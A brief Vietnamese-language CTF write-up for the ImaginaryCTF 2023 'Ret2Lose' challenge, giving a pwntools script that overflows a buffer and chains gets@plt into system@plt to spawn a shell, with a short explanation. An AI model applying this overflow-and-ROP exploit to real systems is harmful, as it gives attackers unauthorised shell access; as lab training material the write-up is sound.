🌸Ret2Lose - ImaginaryCTF 2023

ret2dlresolve

Source

Bài này mình mất khá nhiều thời gian suy nghĩ mà không ra nhưng khi đọc writeup thì thấy nó thật dễ dàng :<<.

Script

from pwn import *

elf = context.binary = ELF("./vuln",checksec=False)
p = elf.process()
#p = remote("ret2win.chal.imaginaryctf.org", 1337)

# gdb.attach(p,'''
#     init-gef
#     b *0x0000000000401050
#     c  
# ''')

# print(elf.sym)

payload = b"a"*72 + p64(elf.plt.gets) + p64(elf.plt.system)
p.sendline(payload)

p.sendline(b"/bin0sh\x00")

p.interactive()

Trong lúc thực thi hàm gets@plt nó sẽ yêu cầu nhập thêm 1 chuỗi. Và chuỗi đó sẽ lưu vào địa chỉ:

[anon_7ff347c7d]

Sau đó sẽ nhảy tiếp đến hàm system@plt và thực thi bin/sh và lấy shell.

Last updated